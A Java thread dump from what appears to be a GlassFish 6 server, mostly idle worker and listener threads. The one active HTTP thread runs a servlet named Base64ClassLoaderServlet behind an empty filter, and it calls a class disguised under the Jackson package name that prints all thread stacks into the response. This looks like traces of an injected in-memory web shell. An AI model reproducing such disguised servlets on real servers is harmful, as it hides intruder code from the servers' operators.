java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.16/java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:462) + at java.base@11.0.16/java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:361) + at java.base@11.0.16/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:937) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"admin-listener(3)" #57 daemon [WAITING] on java.lang.Object@6af6831 + java.lang.Thread.State: WAITING + at java.base@11.0.16/java.lang.Object.wait(Native Method) + at java.base@11.0.16/java.lang.Object.wait(Object.java:328) + at org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:170) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"pool-16-thread-1" #116 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@31234e0f + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.16/java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:462) + at java.base@11.0.16/java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:361) + at java.base@11.0.16/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:937) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"Common-Cleaner" #11 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@3d562ced + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.16/java.lang.Object.wait(Native Method) + at java.base@11.0.16/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) + at java.base@11.0.16/jdk.internal.ref.CleanerImpl.run(CleanerImpl.java:148) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + at java.base@11.0.16/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:161) + +"ContainerBackgroundProcessor[StandardEngine[glassfish-web]]" #112 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.16/java.lang.Thread.sleep(Native Method) + at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1637) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"EventAdminAsyncThread #6" #83 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@79a72692 + java.lang.Thread.State: WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.16/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.16/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:433) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1054) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"FelixStartLevel" #22 daemon [WAITING] on java.util.ArrayList@324f4f43 + java.lang.Thread.State: WAITING + at java.base@11.0.16/java.lang.Object.wait(Native Method) + at java.base@11.0.16/java.lang.Object.wait(Object.java:328) + at org.apache.felix.framework.FrameworkStartLevelImpl.run(FrameworkStartLevelImpl.java:283) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"http-listener-1(5)" #45 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@7808e0ee + java.lang.Thread.State: WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.16/java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:743) + at java.base@11.0.16/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:684) + at java.base@11.0.16/java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1366) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:78) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"http-listener-1(2)" #42 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@7808e0ee + java.lang.Thread.State: WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.16/java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:743) + at java.base@11.0.16/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:684) + at java.base@11.0.16/java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1366) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:78) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"FelixDispatchQueue" #15 daemon [WAITING] on java.util.ArrayList@f3f3baa + java.lang.Thread.State: WAITING + at java.base@11.0.16/java.lang.Object.wait(Native Method) + at java.base@11.0.16/java.lang.Object.wait(Object.java:328) + at org.apache.felix.framework.EventDispatcher.run(EventDispatcher.java:1122) + at org.apache.felix.framework.EventDispatcher.access$000(EventDispatcher.java:54) + at org.apache.felix.framework.EventDispatcher$1.run(EventDispatcher.java:102) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"pool-1-thread-1" #34 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@19693ef + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.16/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2123) + at java.base@11.0.16/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@11.0.16/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1054) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"pool-7-thread-1" #104 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1b05089e + java.lang.Thread.State: WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.16/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.16/java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:417) + at org.jvnet.hk2.config.Transactions$Notifier$1.run(Transactions.java:139) + at java.base@11.0.16/java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:515) + at java.base@11.0.16/java.util.concurrent.FutureTask.run(FutureTask.java:264) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"pool-19-thread-1" #119 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@31234e0f + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.16/java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:462) + at java.base@11.0.16/java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:361) + at java.base@11.0.16/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:937) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"pool-4-thread-1" #101 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@269896bb + java.lang.Thread.State: WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.16/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.16/java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:417) + at org.jvnet.hk2.config.Transactions$Notifier$1.run(Transactions.java:139) + at java.base@11.0.16/java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:515) + at java.base@11.0.16/java.util.concurrent.FutureTask.run(FutureTask.java:264) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@4e5855b1 + java.lang.Thread.State: WAITING + at java.base@11.0.16/java.lang.Object.wait(Native Method) + at java.base@11.0.16/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) + at java.base@11.0.16/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:176) + at java.base@11.0.16/java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:170) + +"RunLevelControllerThread-1754837831513" #31 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferQueue@58b5d3e6 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.16/java.util.concurrent.SynchronousQueue$TransferQueue.awaitFulfill(SynchronousQueue.java:761) + at java.base@11.0.16/java.util.concurrent.SynchronousQueue$TransferQueue.transfer(SynchronousQueue.java:689) + at java.base@11.0.16/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:937) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"http-listener-1(1)" #41 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@7808e0ee + java.lang.Thread.State: WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.16/java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:743) + at java.base@11.0.16/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:684) + at java.base@11.0.16/java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1366) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:78) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"pool-3-thread-1" #39 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@5c88eae2 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.16/java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:462) + at java.base@11.0.16/java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:361) + at java.base@11.0.16/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:937) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"FelixResolver-8" #25 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@320b0309 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.16/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2123) + at java.base@11.0.16/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:458) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"transaction-manager" #65 daemon [WAITING] on java.util.TaskQueue@46bdeba5 + java.lang.Thread.State: WAITING + at java.base@11.0.16/java.lang.Object.wait(Native Method) + at java.base@11.0.16/java.lang.Object.wait(Object.java:328) + at java.base@11.0.16/java.util.TimerThread.mainLoop(Timer.java:527) + at java.base@11.0.16/java.util.TimerThread.run(Timer.java:506) + +"EventAdminAsyncThread #8" #85 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@79a72692 + java.lang.Thread.State: WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.16/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.16/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:433) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1054) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"http-listener-2(5)" #52 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@2a1f4399 + java.lang.Thread.State: WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.16/java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:743) + at java.base@11.0.16/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:684) + at java.base@11.0.16/java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1366) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:78) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"http-listener-2(3)" #50 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@2a1f4399 + java.lang.Thread.State: WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.16/java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:743) + at java.base@11.0.16/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:684) + at java.base@11.0.16/java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1366) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:78) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"FelixResolver-4" #19 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@320b0309 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.16/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2123) + at java.base@11.0.16/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:458) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"RMI Scheduler(0)" #87 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@182a6faf + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.16/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2123) + at java.base@11.0.16/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@11.0.16/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1054) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"http-listener-1-kernel(1) SelectorRunner" #47 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.16/sun.nio.ch.EPoll.wait(Native Method) + at java.base@11.0.16/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:120) + at java.base@11.0.16/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:124) + at java.base@11.0.16/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:136) + at org.glassfish.grizzly.nio.DefaultSelectorHandler.select(DefaultSelectorHandler.java:88) + at org.glassfish.grizzly.nio.SelectorRunner.doSelect(SelectorRunner.java:308) + at org.glassfish.grizzly.nio.SelectorRunner.run(SelectorRunner.java:248) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:535) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"http-listener-1-expirer(1)" #46 daemon [TIMED_WAITING] on java.lang.Object@315b70aa + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.16/java.lang.Object.wait(Native Method) + at org.glassfish.grizzly.utils.DelayedExecutor$DelayedRunnable.run(DelayedExecutor.java:148) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"fileinstall-/usr/local/glassfish6/glassfish/domains/domain1/autodeploy/bundles/" #80 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.16/java.lang.Thread.sleep(Native Method) + at org.apache.felix.fileinstall.internal.DirectoryWatcher.run(DirectoryWatcher.java:291) + +"Reference Handler" #2 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.16/java.lang.ref.Reference.waitForReferencePendingList(Native Method) + at java.base@11.0.16/java.lang.ref.Reference.processPendingReferences(Reference.java:241) + at java.base@11.0.16/java.lang.ref.Reference$ReferenceHandler.run(Reference.java:213) + +"FelixResolver-11" #28 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@320b0309 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.16/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2123) + at java.base@11.0.16/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:458) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"http-listener-1(4)" #44 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.16/java.lang.Thread.dumpThreads(Native Method) + at java.base@11.0.16/java.lang.Thread.getAllStackTraces(Thread.java:1653) + at com.fasterxml.jackson.ZBaNC.ErrorHandler.toString(BasicInfoPrinter.java:26) + at java.base@11.0.16/java.lang.String.valueOf(String.java:2951) + at org.apache.catalina.connector.CoyoteWriter.print(CoyoteWriter.java:281) + at jakarta.Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:29) + at org.apache.catalina.core.StandardWrapper.service(StandardWrapper.java:1540) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:297) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:167) + at jakarta.EmptyFilter.doFilter(EmptyFilter.java:15) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:209) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:167) + at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:215) + at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:119) + at org.apache.catalina.core.StandardPipeline.doInvoke(StandardPipeline.java:611) + at org.apache.catalina.core.StandardPipeline.invoke(StandardPipeline.java:550) + at com.sun.enterprise.web.WebPipeline.invoke(WebPipeline.java:75) + at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:114) + at org.apache.catalina.connector.CoyoteAdapter.doService(CoyoteAdapter.java:332) + at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:199) + at com.sun.enterprise.v3.services.impl.ContainerMapper$HttpHandlerCallable.call(ContainerMapper.java:440) + at com.sun.enterprise.v3.services.impl.ContainerMapper.service(ContainerMapper.java:144) + at org.glassfish.grizzly.http.server.HttpHandler.runService(HttpHandler.java:174) + at org.glassfish.grizzly.http.server.HttpHandler.doHandle(HttpHandler.java:153) + at org.glassfish.grizzly.http.server.HttpServerFilter.handleRead(HttpServerFilter.java:196) + at org.glassfish.grizzly.filterchain.ExecutorResolver$9.execute(ExecutorResolver.java:88) + at org.glassfish.grizzly.filterchain.DefaultFilterChain.executeFilter(DefaultFilterChain.java:246) + at org.glassfish.grizzly.filterchain.DefaultFilterChain.executeChainPart(DefaultFilterChain.java:178) + at org.glassfish.grizzly.filterchain.DefaultFilterChain.execute(DefaultFilterChain.java:118) + at org.glassfish.grizzly.filterchain.DefaultFilterChain.process(DefaultFilterChain.java:96) + at org.glassfish.grizzly.ProcessorExecutor.execute(ProcessorExecutor.java:51) + at org.glassfish.grizzly.nio.transport.TCPNIOTransport.fireIOEvent(TCPNIOTransport.java:510) + at org.glassfish.grizzly.strategies.AbstractIOStrategy.fireIOEvent(AbstractIOStrategy.java:82) + at org.glassfish.grizzly.strategies.WorkerThreadIOStrategy.run0(WorkerThreadIOStrategy.java:83) + at org.glassfish.grizzly.strategies.WorkerThreadIOStrategy.access$100(WorkerThreadIOStrategy.java:34) + at org.glassfish.grizzly.strategies.WorkerThreadIOStrategy$WorkerThreadRunnable.run(WorkerThreadIOStrategy.java:101) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:535) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"Thread-9" #40 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4afb3d13 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.16/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2123) + at java.base@11.0.16/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@11.0.16/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1054) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"EventAdminAsyncThread #3" #76 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@79a72692 + java.lang.Thread.State: WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.16/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.16/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:433) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1054) + at 